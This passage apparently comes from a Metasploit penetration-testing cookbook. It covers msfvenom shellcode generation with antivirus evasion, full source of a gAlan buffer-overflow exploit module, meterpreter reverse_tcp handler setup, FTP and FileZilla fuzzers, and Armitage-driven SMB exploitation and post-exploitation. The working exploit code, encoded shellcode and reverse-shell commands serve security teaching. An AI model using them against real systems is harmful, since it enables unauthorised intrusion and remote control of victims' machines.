"text": "Working with Exploits\n196\nHow to do it...\nLet us take a look at various available options:\nroot@bt:~# msfvenom -h\nUsage: /opt/framework/msf3/msfvenom [options] \nOptions:\n -p, --payload [payload] Payload to use. Specify a '-' or \nstdin to use custom..\n -l, --list [module_type] List a module type example: \npayloads, encoders, nops, all\n -n, --nopsled [length] Prepend a nopsled of [length] size \non to the payload\n -f, --format [format] Format to output results in: raw, \nruby, rb, perl, pl, bash..\n -e, --encoder [encoder] The encoder to use\n -a, --arch [architecture] The architecture to use\n -s, --space [length] The maximum size of the resulting \npayload\n -b, --bad-chars [list] The list of characters to avoid \nexample: '\\x00\\xff'\n -i, --iterations [count] The number of times to encode the \npayload\n -c, --add-code [path] Specify an additional win32 \nshellcode file to include\n -x, --template [path] Specify a custom executable file to \nuse as a template\n -k, --keep Preserve the template behavior and \ninject the payload as..\n -h, --help Show this message\nThere are some interesting parameters to look at. The –n parameter creates an NOP sled \nof size of the payload. Another interesting parameter is –b which gives us the power of \navoiding common characters of an exploit such as \\x00. This can be really helpful in \nevading antivirus programs. The rest of the parameters are similar to those we can find \nin msfpayload and msfencode.\nAn NOP slide, NOP sled or NOP ramp is a sequence of NOP (no-operation) \ninstructions that are meant to \"slide\" the CPU's instruction execution flow \nto its final, desired, destination.\n"
},
{
"page_number": 212,
"text": "Chapter 8\n197\nHow it works...\nTo use msfvenom, we will have to pass a payload along with an encoding style. Let us perform \nthis task on the terminal window:\nroot@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai \n-b '\\x00' -i 3\n[*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)\n[*] x86/shikata_ga_nai succeeded with size 352 (iteration=2)\n[*] x86/shikata_ga_nai succeeded with size 379 (iteration=3)\nbuf = \n\"\\xdb\\xdb\\xbe\\x0a\\x3a\\xfc\\x6d\\xd9\\x74\\x24\\xf4\\x5a\\x29\\xc9\" +\n\"\\xb1\\x52\\x31\\x72\\x18\\x83\\xea\\xfc\\x03\\x72\\x1e\\xd8\\x09\\xb6\" +\n\"\\xce\\xc5\\x86\\x6d\\x1a\\xa8\\xd8\\x88\\xa8\\xbc\\x51\\x64\\xe5\\xf2\" +\n\"\\xd1\\xb7\\x80\\xed\\x66\\x72\\x6e\\x0d\\x1c\\x68\\x6a\\xae\\xcd\\x0e\" +\n\"\\x33\\x90\\x1d\\x73\\x82\\xd8\\xd7\\xe0\\x87\\x76\\xbd\\x25\\xf4\\x23\" +\n\"\\x4d\\x38\\xc2\\xc3\\xe9\\xa1\\x7e\\x31\\xc5\\xe4\\x84\\x2a\\x3b\\x37\" +\n\"\\xb3\\xd6\\x13\\xc4\\x09\\x89\\xd0\\x95\\x21\\x10\\x6b\\x83\\x94\\x3d\" +\nNotice the different parameters that have been passed along with the payload. The presence \nof the –b parameter will avoid the use of \\x00 (null bytes) in the shell code. We can use this \nshell code in our exploit program.\nmsfvenom can be a very handy tool in quickly generating shell codes using different payloads \navailable in the framework. These shell codes can be implemented in the exploit code in order \nto provide back connection with the attacker once the vulnerability has been exploited.\nConverting exploit to a Metasploit module\nSo far, we have used exploit modules in order to compromise our target. In this recipe, we \nwill take our module usage experience to the next level. We will try and develop a complete \nexploit module using an available proof of concept. Knowledge of converting exploits to a \nmodule is essential in order to convert any new exploit into a framework module and perform \npenetration testing without waiting for updates to come from the Metasploit team. Also, it is \nnot possible that every exploit will be available in the form of a module within the framework. \nSo let us move ahead with the recipe and see how we can build our own exploit modules \nusing an available PoC.\n"
},
{
"page_number": 213,
"text": "Working with Exploits\n198\nGetting ready\nTo start with, let us select any exploit which we can convert into a module. Let us consider \nthe gAlan Zero day exploit that can be downloaded from http://www.exploit-db.com/\nexploits/10339.\ngAlan is an audio-processing tool (both on-line and off-line) for X Windows and Win32. \nIt allows you to build synthesizers, effects chains, mixers, sequencers, drum-machines, \nand so on in a modular fashion by linking together icons representing primitive \naudio-processing components.\nAn exploit for gAlan will function only when the victim is using this application and the attacker \nhas the knowledge about this beforehand. Hence, it is imperative for the attacker to know \nwhich applications are installed on the victim's machine.\nHow to do it...\nBefore we begin with the exploit conversion, it is imperative to know a little about Stack \nOverflow attacks.\nIn software, a stack overflow occurs when too much memory is used on the call stack. The call \nstack is the runtime stack of the software that contains a limited amount of memory, often \ndetermined at the start of the program. The size of the call stack depends on many factors, \nincluding the programming language, machine architecture, multi-threading, and amount of \navailable memory. When a program attempts to use more space than is available on the call \nstack, the stack is said to overflow, typically resulting in a program crash. Essentially, ESP, \nEIP, and EAX are the registers which are mostly attacked during an exploit.\nf\nf\nESP: Points to the top of the stack\nf\nf\nEIP: Points to the location of the next instruction\nf\nf\nEAX: The instruction to be executed\nAs in a stack all the registers are stored linearly, we need to know the exact buffer size \nof the EIP register, so that overflowing it will give us the EAX and subsequent execution \nof the payload.\nOnce we have the proof of concept of the exploit, the next step will be to collect as much \ninformation about the exploit as possible. Let us take a good look at the proof of concept. \nThe first few lines consist of the shellcode that is stored in the $shellcode variable. \nThis can be generated using any of the payloads available in the framework using either \nmsfpayload or msfvenom:\n$magic = \"Mjik\";\n$addr = 0x7E429353; # JMP ESP @ user32,dll\n$filename = \"bof.galan\";\n"
},
{
"page_number": 214,
"text": "Chapter 8\n199\n$retaddr = pack('l', $addr);\n$payload = $magic . $retaddr x 258 . \"\\x90\" x 256 . $shellcode;\nThe main exploit code starts with $magic which contains a four byte string. Then, we have \nthe $addr variable which contains the location of the ESP stack pointer. Then we have the \n$filename variable containing the filename to be created as a post exploitation phase. \n$retaddr contains the location of the return address where the stack pointer will point and \nlead to the execution of the exploit code after the overflow. Finally, we have the execution of \nthe payload, which is responsible for the exploitation and shellcode execution.\nWe know from the exploit that our shellcode can reach to a maximum of 700 bytes. \nAlso the total length of our payload is 1214 bytes. This information will be helpful \nin building our module.\nWe can either use a repeated return address or we can also find the size when EIP gets \noverridden. Metasploit has an excellent tool called pattern_create.rb which can assist \nin finding the exact location where EIP gets overridden. This tool generates a string of unique \npatterns that can be passed to the exploit code and by using a debugger; we can find which \nstring pattern is stored in EIP. Let us create a string of 5000 characters:\nroot@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb\nUsage: pattern_create.rb length [set a] [set b] [set c]\nroot@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000 \nNow, edit the exploit script to replace $payload with another test variable $junk and copy \nthe string of 5000 characters in this variable. Now, test the application with this script and \ncheck which pattern is stored in EIP. I am assuming that you are aware of the basics of \nreversing and debugging applications. Suppose the string pattern stored in EIP is \"234abc\". \nNow we will use another Metasploit tool called pattern_offset.rb to calculate the \nposition where this pattern exists in the string we passed: \nroot@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x234abc \n5000\n1032\nSo the total number of bytes to be passed so as to get the exact location of EIP is 1032.\nNow we have collected enough information about the exploit and we are ready to convert it \ninto a Metasploit module.\n"
},
{
"page_number": 215,
"text": "Working with Exploits\n200\nHow it works...\nLet us start building our module. The first and foremost line of script will be importing libraries \nand creating the parent class. Then, we will define the initialize() function which will \ncontain information about the exploit and also register options:\nrequire 'msf/core'\nclass Metasploit3 < Msf::Exploit::Remote\n include Msf::Exploit::FILEFORMAT\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'gAlan 0.2.1 Buffer Overflow \nExploit',\n 'Description' => %q{\n This module exploits a stack overflow in gAlan \n0.2.1\n By creating a specially crafted galan file, \nan attacker may be able\n to execute arbitrary code.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [ 'original by Jeremy Brown' ],\n 'Version' => '$Revision: 7724 $',\n 'References' =>\n [\n [ 'URL', 'http://www.exploit-\ndb.com/exploits/10339' ],\n ],\n 'DefaultOptions' =>\n {\n 'EXITFUNC' => 'process',\n },\n 'Payload' =>\n {\n 'Space' => 1000,\n 'BadChars' => \"\\x00\\x0a\\x0d\\\nx20\\x0c\\x0b\\x09\",\n 'StackAdjustment' => -3500,\n },\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Windows XP Universal', { 'Ret' => 0x100175D0} \n], # 0x100175D0 call esi @ glib-1_3\n ],\n"
},
{
"page_number": 216,
"text": "Chapter 8\n201\n 'Privileged' => false,\n \n 'DefaultTarget' => 0))\n register_options(\n [\n OptString.new('FILENAME', [ \nfalse, 'The file name.', 'evil.galan']),\n ], self.class)\n end\nSo far, it was simple and straightforward. The twist begins with defining the exploit() \nfunction. Let us see how we can do this.\nWe will start with the first four bytes of the original exploit script, that is, $magic = \n\"Mjik\";\nIt will be replaced with sploit = \"Mjik\" in our module.\nThen, we move ahead and build our buffer. As we have found the position where EIP \nhas been overwritten, we can replace the repeated return address value by: \nsploit << rand_text_alpha_upper(1028);\n sploit << [target.ret].pack('V');\nThen, we will have to add our nop slide. So that part of the exploit script changes \nto the following line in the module:\nsploit << \"\\x90\" * 45\nFinally, we build the complete shellcode:\nsploit << payload.encoded\nFinally, we can combine these lines of script under the exploit() function.\ndef exploit\n sploit = \"Mjik\"\n sploit << rand_text_alpha_upper(1028)\n sploit << [target.ret].pack('V')\n sploit << \"\\x90\" * 45\n sploit << payload.encoded\n galan = sploit\n print_status(\"Creating '#{datastore['FILENAME']}' file \n...\")\n file_create(galan)\n end\n"
},
{
"page_number": 217,
"text": "Working with Exploits\n202\nThis was a short and simple demonstration of how we can convert an existing exploit into a \nMetasploit module. The difficulty level of this process can vary from exploit to exploit. The best \nway to learn more about it is by viewing the available exploit modules in the Metasploit library. \nIn the next recipe, we will learn how to port this exploit module into the framework so that we \ncan use it for penetration testing.\nPorting and testing the new exploit module\nIn the previous recipe, we learned about developing a complete exploit module for Metasploit \nusing the available proof of concept. In this recipe, we will save the module in an appropriate \nlocation and then test it to see whether everything goes fine.\nGetting ready\nIt is very essential to take care of the folder where we are going to store our exploit module. \nThis can help you in keeping a track of different modules and also facilitates the framework in \nunderstanding the basic module usage. Now that you have the complete module script, let us \nfind out an appropriate location to save it.\nHow to do it...\nAs this is an exploit module, targeting the Windows operating system which affects a \nparticular file format, we will have to select the module location accordingly. Looking \nat the modules/exploits/windows directory you can find a specific folder for \nfileformat exploit modules. This is the location where we can save our module. \nLet us save it as galan_fileformat_bof.rb.\nHow it works...\nThe next and final task will be to check if our module is functioning fine or not. We have \nalready worked a lot with modules so far, so this step will be easy going. We will follow \nthe same process that we have used so far:\nmsf > use exploit/windows/fileformat/galan_fileformat_bof\nmsf exploit(galan_fileformat_bof) > set PAYLOAD windows/meterpreter/\nreverse_tcp\nmsf exploit(galan_fileformat_bof) > set LHOST 192.168.56.101\nmsf exploit(galan_fileformat_bof) > exploit\n"
},
{
"page_number": 218,
"text": "Chapter 8\n203\nOnce the exploit command is passed, the module will execute and create a file that can be \nused to cause an overflow on the target machine. \nThis completes our module creation and execution process. You might have seen that the \nprocess is straightforward. The real effort lies in proper conversion of exploit scripts into \na framework module. You can debug or modify any existing module according to your need. \nYou can also submit any newly created module to the Metasploit community to help others \nbenefit from it.\nFuzzing with Metasploit\nFuzz testing or Fuzzing is a software testing technique which consists of finding \nimplementation bugs using random data injection. Fuzz scripts generate malformed data and \npass it to the particular target entity to verify its overflow capacity. Metasploit provides several \nfuzzing modules that can be helpful in exploit development. Let us explore more about the \nbasics of fuzzing and how Metasploit modules can be used as potential fuzzers.\nGetting ready\nBefore we jump to Metasploit fuzzer modules, let us have a brief overview of fuzzing \nand its types.\nFuzzing is treated as a black box testing technique where we test for the maximum overflow \ncapacity of the software. Fuzzing is actively used to find bugs in applications.\nFuzzers can be used to test software, protocols, and file formats. Fuzzers automate \nthe process of data generation and injection. We can control the size of data or packet \nto be injected.\nA fuzzer would try combinations of attacks on:\nf\nf\nNumbers (signed/unsigned integers, float, and so on)\nf\nf\nChars (URLs and command-line inputs)\nf\nf\nMetadata: user-input text (the id3 tag)\nf\nf\nPure binary sequences\nDepending upon the type of an application or a protocol we are targeting, we can set up \nour fuzzer to generate data/packets to test its overflow. Metasploit contains several fuzzer \nmodules that can be used to test applications and protocols against black box testing. \nThese modules can be located at modules/auxiliary/fuzzers. Let us analyze the \nimplementation of these modules.\n"
},
{
"page_number": 219,
"text": "Working with Exploits\n204\nHow to do it...\nLet us experiment with a protocol-based fuzzer module. Metasploit has an FTP module \nnamed client_ftp.rb which acts as an FTP server and sends responses to the \nFTP client: \nmsf > use auxiliary/fuzzers/ftp/client_ftp\nmsf auxiliary(client_ftp) > show options\nModule options:\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n CYCLIC true yes Use Cyclic pattern instead..\n ENDSIZE 200000 yes Max Fuzzing string size.\n ERROR false yes Reply with error codes only\n EXTRALINE true yes Add extra CRLF's in..\n FUZZCMDS LIST.. yes Comma separated list..\n RESET true yes Reset fuzzing values after..\n SRVHOST 0.0.0.0 yes The local host to listen on.\n SRVPORT 21 yes The local port to listen on.\n SSL false no Negotiate SSL for incoming..\n SSLVersion SSL3 no Specify the version of SSL..\n STARTSIZE 1000 yes Fuzzing string startsize.\n STEPSIZE 1000 yes Increment fuzzing string..\nYou can see there are many interesting parameters available to us. Let us find out what \nfunctionality each parameter holds.\nf\nf\nThe CYCLIC option is used to set up a cyclic pattern as fuzz data. This is done to \ndetermine offsets as every fourth byte of string is unique. If it is set to false, then \nthe fuzzer will use a string of A's as the fuzz data.\nf\nf\nThe ENDSIZE option defines the maximum length of fuzz data to send back to the \nFTP client. By default, it is set as 20000 bytes.\nf\nf\nThe ERROR option, if set to true, will reply to the FTP client using error codes.\nf\nf\nThe EXTRALINE option is a fuzz test for directory listing. Some FTP clients can \ncrash if a very large directory name request is sent to the client.\n"
},
{
"page_number": 220,
"text": "Chapter 8\n205\nf\nf\nThe FUZZCMDS option allows us to define which response needs to be fuzzed. \nThe possible requests are LIST, NLST, LS, RETR. We can also set * to fuzz \nall commands.\nf\nf\nThe SRVHOST option is the IP address where the fuzzer will bind with the FTP server. \nFor a local machine, we can use 0.0.0.0.\nf\nf\nThe SRVPORT option is the FTP server port which is by default 21.\nf\nf\nThe STARTSIZE option is used to define the initial data length of the fuzz data.\nf\nf\nThe STEPSIZE option is used to define the increment each time the overflow fails.\nOne should be careful when working with fuzzers. If the right parameter values are not passed, \nthen fuzz testing might fail. You can always refer to the module source code to understand the \nfuzzer deeply. Let us run our FTP client fuzzer and see what output is returned:\nmsf auxiliary(client_ftp) > run\n[*] Server started.\n[*] Client connected : 192.168.56.102\n[*] - Set up active data port 20\n[*] Sending response for 'WELCOME' command, arg\n[*] Sending response for 'USER' command, arg test\n[*] Sending response for 'PASS' command, arg test\n[*] - Set up active data port 16011\n[*] Sending response for 'PORT' command, arg 192,168,0,188,62,139\n[*] Handling NLST command\n[*] - Establishing active data connection\n[*] - Data connection set up\n[*] * Fuzzing response for LIST, payload length 1000\n[*] (i) Setting next payload size to 2000\n[*] - Sending directory list via data connection\nThe output has several things to note. First of all, the FTP server is started on the attacking \nmachine. Then, it connects back with the FTP client. Then, it starts sending different response \ncommands to the client machine. The fuzzing process starts with the NLST command. Then, it \nmoves on to LIST and so on.\nThis was a small demonstration of how fuzzer modules work. In the next recipe, we will take a \ndeeper look into protocol fuzzing by building our own fuzzing module.\n"
},
{
"page_number": 221,
"text": "Working with Exploits\n206\nHow it works...\nFuzzers create different test cases according to the application we want to fuzz. In our \nexample, the FTP server can be fuzzed by sending random data packets and then analyzing \ntheir response. The data packets can fuzz the following attributes over a network:\nf\nf\nPacket header: Fuzzers can insert random data packets of arbitrary length and value \nin the headers and analyze their response.\nf\nf\nPacket checksum: The checksum values can also be manipulated under specific \nconditions using fuzzers.\nf\nf\nPacket size: Data packets of arbitrary length can also be sent to the network \napplication in order to determine a crash.\nOnce a crash or overflow has been reported, the fuzzer can return its test case to provide the \noverflow data.\nWriting a simple FileZilla FTP fuzzer\nWe analyzed the working of fuzzer modules in our previous recipe. Let us take it a step \nahead by building our own small FTP fuzzer that can be used against the FileZilla FTP server.\nHow to do it...\nThe basic template to build a fuzzer will be similar to the one we discussed for the \ndevelopment of an auxiliary module. So our basic template should look as follows:\nrequire 'msf/core'\nclass Metasploit3 < Msf::Auxiliary\n include Msf::Auxiliary::Scanner\n def initialize\n super(\n 'Name' => 'FileZilla Fuzzer',\n 'Version' => '$Revision: 1 $',\n 'Description' => 'Filezilla FTP fuzzer',\n 'Author' => 'Abhinav_singh',\n 'License' => MSF_LICENSE\n )\n register_options( [\n Opt::RPORT(14147),\n OptInt.new('STEPSIZE', [ false, \"Increase string size each \niteration with this number of chars\",10]),\n"
},
{
"page_number": 222,
"text": "Chapter 8\n207\n OptInt.new('DELAY', [ false, \"Delay between \nconnections\",0.5]),\n OptInt.new('STARTSIZE', [ false, \"Fuzzing string \nstartsize\",10]),\n OptInt.new('ENDSIZE', [ false, \"Fuzzing string \nendsize\",20000])\n ], self.class)\n end\nSo we have imported the MSF libraries, created a class, and defined our options. The next \nstep will be to define the main body of the fuzzer.\ndef run_host(ip)\n \n udp_sock = Rex::Socket::Udp.create(\n 'Context' =>\n {\n 'Msf' => framework,\n 'MsfExploit' => self,\n }\n )\n startsize = datastore['STARTSIZE'] # fuzz data size to begin \nwith\n count = datastore['STEPSIZE'] # Set count increment\n while count < 10000 # While the count is under 10000 \nrun\n evil = \"A\" * count # Set a number of \"A\"s \nequal to count\n pkt = \"\\x00\\x02\" + \"\\x41\" + \"\\x00\" + evil + \"\\\nx00\" # Define the payload\n udp_sock.sendto(pkt, ip, datastore['RPORT']) \n# Send the packet\n print_status(\"Sending: #{evil}\") \n resp = udp_sock.get(1) # Capture the response\n count += 100 # Increase count by 10, and loop\n end\n end\nend\nLet us analyze the script. The script begins with creating a UDP socket that will be required to \nestablish a connection with the FileZilla server. Then, we declare variables startsize and \ncount which holds the values for starting the data size of the fuzzer and increment length \nrespectively. Then, we set up a loop under which we declare our evil string and a payload \nformat that will be sent as a packet (pkt).\n"
},
{
"page_number": 223,
"text": "Working with Exploits\n208\nThen, the script tries to send the data packet to the server using the udp_sock_sendto \nfunction and its response is captured using resp=udp_sock.get(). Further, the count \nof the packet is increased by 100 every time the response is received.\nHow it works...\nTo start working with the module, we will have to save it under modules/auxiliary/\nfuzzers/ftp. Let us name the fuzzer module as filezilla_fuzzer.rb:\nmsf > use auxiliary/fuzzers/ftp/filezilla_fuzzer\nmsf auxiliary(filezilla_fuzzer) > show options\nModule options (auxiliary/fuzzers/ftp/filezilla_fuzzer):\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n DELAY 0.5 no Delay between..\n ENDSIZE 20000 no Fuzzing string endsize\n RHOSTS yes The target address\n RPORT 14147 yes The target port\n STARTSIZE 10 no Fuzzing string startsize\n STEPSIZE 10 no Increase string size..\nSo, our module is working fine and displaying the available options to us. Let us pass the \nrespective values and see what happens when we pass the run command:\nmsf auxiliary(filezilla_fuzzer) > set RHOSTS 192.168.56.1\nRHOSTS => 192.168.56.1\nmsf auxiliary(filezilla_fuzzer) > run\n[*] Sending: AAAAAAAAAA\n[*] Sending: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \nBingo! The fuzzer starts sending strings to the server and continues the process unless the \nserver crashes or the loop ends. If the loop ends before the crash, then you can modify the \nscript to send a bigger string length. This is a simple demonstration of using Metasploit to fuzz \nsoftware. Generally it is not recommended to use Metasploit as a fuzzing platform for large \nsoftware. We have several dedicated frameworks that are specially made for fuzzing software \nand applications.\n"
},
{
"page_number": 224,
"text": "Chapter 8\n209\nThere's more...\nLet us give a quick look to a fuzzing framework that you can work on if you want to enhance \nyour knowledge of fuzzing and exploit development.\nAntiparser fuzzing framework\nAntiparser is a fuzzing framework written in python. It assists in the creation of random data \nspecifically for the construction of fuzzers. This framework can be used to develop fuzzers \nthat will run across multiple platforms as the framework depends solely on the availability \nof a Python interpreter.\nAntiparser can be downloaded from http://sourceforge.net/projects/\nantiparser/.\n"
},
{
"page_number": 225,
"text": ""
},
{
"page_number": 226,
"text": "9\nWorking with \nArmitage\nIn this chapter, we will cover:\nf\nf\nGetting started with Armitage\nf\nf\nScanning and information gathering\nf\nf\nFinding vulnerabilities and attacking targets\nf\nf\nHandling multiple targets using tab switch\nf\nf\nPost-exploitation with Armitage\nf\nf\nClient-side exploitation with Armitage\nIntroduction\nSo far, we have focused completely on the Metasploit framework and studied how to use \nthe framework to get the best out of penetration testing. Now we will shift our focus on \nMetasploit extension tools which further take penetration testing to the next level. We will \nstart our tour with Armitage, a GUI-based tool that runs over the framework. It is an intelligent \ntool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced \npost-exploitation features in the framework.\nArmitage organizes Metasploit's capabilities around the hacking process. There are features \nfor discovery, access, post-exploitation, and maneuver. Armitage's dynamic workspaces let \nyou define and switch between target criteria quickly. Use this to segment thousands of hosts \ninto target sets. Armitage also launches scans and imports data from many security scanners. \nArmitage visualizes your current targets, so you'll know the hosts you're working with and \nwhere you have sessions. Armitage recommends exploits and will optionally run active checks \nto tell you which exploits will work. If these options fail, use the Hail Mary attack to unleash \nArmitage's smart automatic exploitation against your targets.\n"
},
{
"page_number": 227,
"text": "Working with Armitage\n212\nOnce you're in, Armitage exposes post-exploitation tools built into the meterpreter agent. \nWith the click of a menu, you will escalate your privileges, log keystrokes, dump password \nhashes, browse the file system, and use command shells.\nSo by using Armitage, we can further ease our penetration testing process by various \nready-made features provided by the tool. So let us start our chapter with the basics of \nsetting up Armitage with Metasploit and later we will analyze port scanning, pre exploitation \nand post exploitation with Armitage.\nGetting started with Armitage\nLet us start with a basic setup guide for Armitage. We will cover Armitage setup in Windows \nand BackTrack in Linux. Armitage comes pre-installed in recent versions of BackTrack. To set \nup Armitage on Windows, we can download the ZIP file from its official web page:\nhttp://www.fastandeasyhacking.com/download\nHow to do it...\nLet us start with setting up Armitage in BackTrack.\n1.\t Armitage will be pre-installed in BackTrack 5 R2. It can be launched by clicking on \nApplications on the desktop and then navigating to Backtrack | Exploitation tools | \nNetwork Exploitation tools | Metasploit framework | Armitage.\nYou will see a GUI that will ask you to set up the connection. It will have the \ndefault username and password as msf and test respectively. You can \nkeep the DB driver as postgressql and finally the DB connect string as \nmsf3:\"8b826ac0\"@127.0.0.1:7175/msf3:\n"
},
{
"page_number": 228,
"text": "Chapter 9\n213\n2.\t Once these default settings are done, we can start the Armitage GUI by clicking on \nStart MSF.\nTo set up Armitage on Windows, there are two primary requirements:\n\n\nMetasploit version 4.2 and above\n\n\nJDK 1.6\n3.\t You can download the ZIP file from the URL mentioned earlier but there is a simple \nalternative as well. You can go to Start | Programs | Metasploit framework | \nFramework Update. Once the update is complete, it will automatically add Armitage \nto your Metasploit library.\n4.\t Once the update is done, Armitage can be started by navigating to Start | Programs \n| Metasploit framework | Armitage.\n5.\t You will see the connect GUI that will have default values set up for Host, Port, User, \nand Password. You can simply click on Connect to start Armitage locally.\n6.\t Once you click on Connect, it will ask you to start the Metasploit RPC server. Click on \nYes and proceed to the main window. To use Armitage on a remote Metasploit, you \ncan change the IP address from 127.0.0.1 to the remote IP.\nHow it works...\nArmitage works by creating RPC calls to Metasploit. Once you click on Connect, you will notice \na repeated RPC connect back failure message. The error message is because Armitage \nkeeps trying to connect to the Metasploit framework by throwing RPC calls and it waits for \na response. Once the connection is successful, we will be presented with the Armitage GUI \ncontaining the MSF console at the bottom. \n"
},
{
"page_number": 229,
"text": "Working with Armitage\n214\nThere's more...\nLet us see how we can set up Armitage on other flavors of Linux.\nSetting up Armitage on Linux\nSetting up Armitage over Metasploit on Linux is also simple. You can download the installer \nfrom its official website or you can simply run msfupdate to get Armitage on Metasploit \nversions 4.2 and higher. While working with Armitage on Linux, make sure that the framework \ndatabase is up and running. Run the following command from the terminal to start \nPostgreSQL: /etc/init.d/framework-postgres start.\nScanning and information gathering\nMoving ahead from our first recipe, we can now start working with Armitage once it is up and \nrunning. In this recipe, we will start with the most basic step of penetration testing, that is, \nscanning and information gathering. Let's perform an Nmap scan in Armitage and see what \nresult is displayed on the GUI.\nGetting ready\nTo launch an Nmap scan, you can click on Hosts and then Nmap Scan, as shown in \nthe following screenshot. Let us do a quick operating system detection scan and see \nif any hosts are alive or not:\n"
},
{
"page_number": 230,
"text": "Chapter 9\n215\nGiving a quick look at the Armitage window, there is a search panel on the left where we can \nsearch for all different modules present in the framework, which is not as easy when working \nwith msfconsole. Further, we can see the MSF Console panel from where we can execute any \nMetasploit command that we have learned so far. So we have the power of both GUI, as well \nas the command line when we are working with Armitage.\nHow to do it...\nTo perform scanning follow these steps: \n1.\t To start the scanning process, Armitage will ask us for an IP or IP range that it will \nscan. Give a scan range of 192.168.56.1/24 that will scan the entire network for \nus and return the operating system versions of alive hosts if it is detectable:\n2.\t Once the scan is complete, it will reflect all the alive hosts and their possible \noperating systems in the form of images, as shown in the preceding screenshot. \nSo in our case, there are three alive hosts of which two are running windows while \none is running Linux.\n"
},
{
"page_number": 231,
"text": "Working with Armitage\n216\n3.\t Now our next step will be to gather more information about our alive targets, so that \nwe can choose relevant exploits to perform penetration testing. Right-clicking on \nthe image of the target will throw the Services option. Clicking on it will open a new \ntab that will list open ports and services running on these ports. In this way, we can \ngather lots of relevant information about multiple targets with just a few clicks: \nAnother important thing to note here is the different tabs that Armitage creates for \nevery new request. This helps us in handling multiple targets at the same time with \nease. We can easily switch between targets and gain information about them. At any \ntime if we are falling short of options in Armitage, we can go to the Console tab and \ntry out Metasploit commands directly there. This is a huge advantage that Armitage \nhas over Metasploit. Handling of multiple targets increases the efficiency \nof performance testing.\n"
},
{
"page_number": 232,
"text": "Chapter 9\n217\nIn the next recipe, we will begin our exploitation phase and see how easily and quickly \nArmitage provides us relevant exploits and payloads that we can apply on our targets.\nHow it works...\nArmitage imports the Nmap functionality from the Metasploit framework. The parameters \nneeded by Nmap are passed from the Armitage GUI in the form of instructions to Metasploit. \nThen Metasploit invokes the Nmap script and uses the instructions as parameters.\nFinding vulnerabilities and attacking targets\nMoving ahead from our previous recipe, here we will see how we can automatically look for \nknown vulnerabilities for the targets that we discovered in our Nmap scan. Armitage automates \nthe process of discovering exploits for targets based on open ports and vulnerabilities existing \nin the operating system. This automation process will not always yield correct results as the \nexploits searched totally depends on the results returned from the Nmap scan. If the OS \ndiscovery is false, then the exploit will not work.\nGetting ready\nLet us launch our Armitage panel and connect to Metasploit. Then, launch the Nmap scan to \nlook for available targets. We have covered these steps in the previous two recipes. Let us find \nvulnerabilities in our targets using Armitage.\nHow to do it...\nOnce the targets have been discovered, Armitage has a Attacks option which can look for \nknown exploits based on open ports and OS vulnerabilities for the targets discovered. To find \nexploits, click on Attacks | Find Attacks | By port or by vulnerability.\n"
},
{
"page_number": 233,
"text": "Working with Armitage\n218\nHow it works...\nOnce the exploits have been discovered by Armitage, we will find an extra option—Attack by \nright-clicking on the target image. This option reflects different attacks discovered by Armitage \nfor that particular target:\nLet us move ahead and exploit our Windows target. You can use the SMB ms_08_047 \nnetapi vulnerability to exploit the target. You can find this exploit by right-clicking on the \ntarget and moving to the Attack | SMB | MS_08_047 netapi exploit. You can also check the \nUse a reverse connection option to get a connection back to you once the exploit is executed \nsuccessfully. On successful execution of an exploit, you will notice three things:\nf\nf\nThe image of the target changes to red with lightning bolts around it showing \nsuccessful exploitation\nf\nf\nRight-clicking on the target gives us the option for the meterpreter channel\nf\nf\nThe msfconsole shows the opening of the session\n"
},
{
"page_number": 234,
"text": "Chapter 9\n219\nYou can see how easy it is to exploit a target without passing any commands. The GUI provides \nall features that are command driven in Metasploit. This is the reason why Armitage adds \nmore power to the framework. However, a good knowledge of msfconsole commands is \nessential. We cannot solely depend on the GUI. There are several MSF functionalities that \ncan't be leveraged by using the GUI of Armitage. \nIn the next recipe, we will analyze post exploitation with Armitage.\nHandling multiple targets using the tab \nswitch\nIn the previous few recipes, we have seen how the Armitage GUI eases the process of \nexploitation. In this recipe, we will see another advantage of using Armitage. When we are \ndealing with multiple targets in Metasploit, we have to switch between sessions in order to \nmanage them. This process of switching between multiple targets is further eased up in \nArmitage by using different tabs. Let us see how it is done.\n"
},
{
"page_number": 235,
"text": "Working with Armitage\n220\nHow to do it...\nIn the previous recipe, we have compromised our Windows XP target. We still have two more \ntargets available to us. We can exploit our Windows 2008 Server by right-clicking on it and \nselecting an exploit. Alternatively, we can also start a new console by going to View | Console. \nThis will start a new console where we can use the command line to compromise the target. \nHow it works...\nLet us set up a multi-handler and exploit the target by using the client-side vulnerability.\nmsf > use exploit/multi/handler\nmsf exploit(handler) > set payload windows/meterpreter/reverse_tcp\npayload => windows/meterpreter/reverse_tcp\nmsf exploit(handler) > exploit\n[-] Handler failed to bind to 192.168.56.101:15263\n[-] Handler failed to bind to 0.0.0.0:15263\n[-] Exploit exception: The address is already in use (0.0.0.0:15263).\n[*] Exploit completed, but no session was created.\nYou can see that the exploit command threw an error that it can't bind a reverse handler on \n192.168.56.101:15263. This is because we have already set a reverse connection on this \nport while exploiting the Windows XP target. So we will have to change the port number and \nuse the exploit command again.\nmsf exploit(handler) > set LPORT 1234\nLPORT => 1234\nmsf exploit(handler) > exploit\n[*] Started reverse handler on 192.168.56.101:1234 \n[*] Starting the payload handler... \nNow, once the client-side exploit executes successfully, we will have a reverse connection \nand we will have lightning bolts against our 2008 Server target.\nThe important thing to note here is that we have different tabs for different targets. \nWe can easily interact with any compromised target by switching between tabs:\n"
},
{
"page_number": 236,
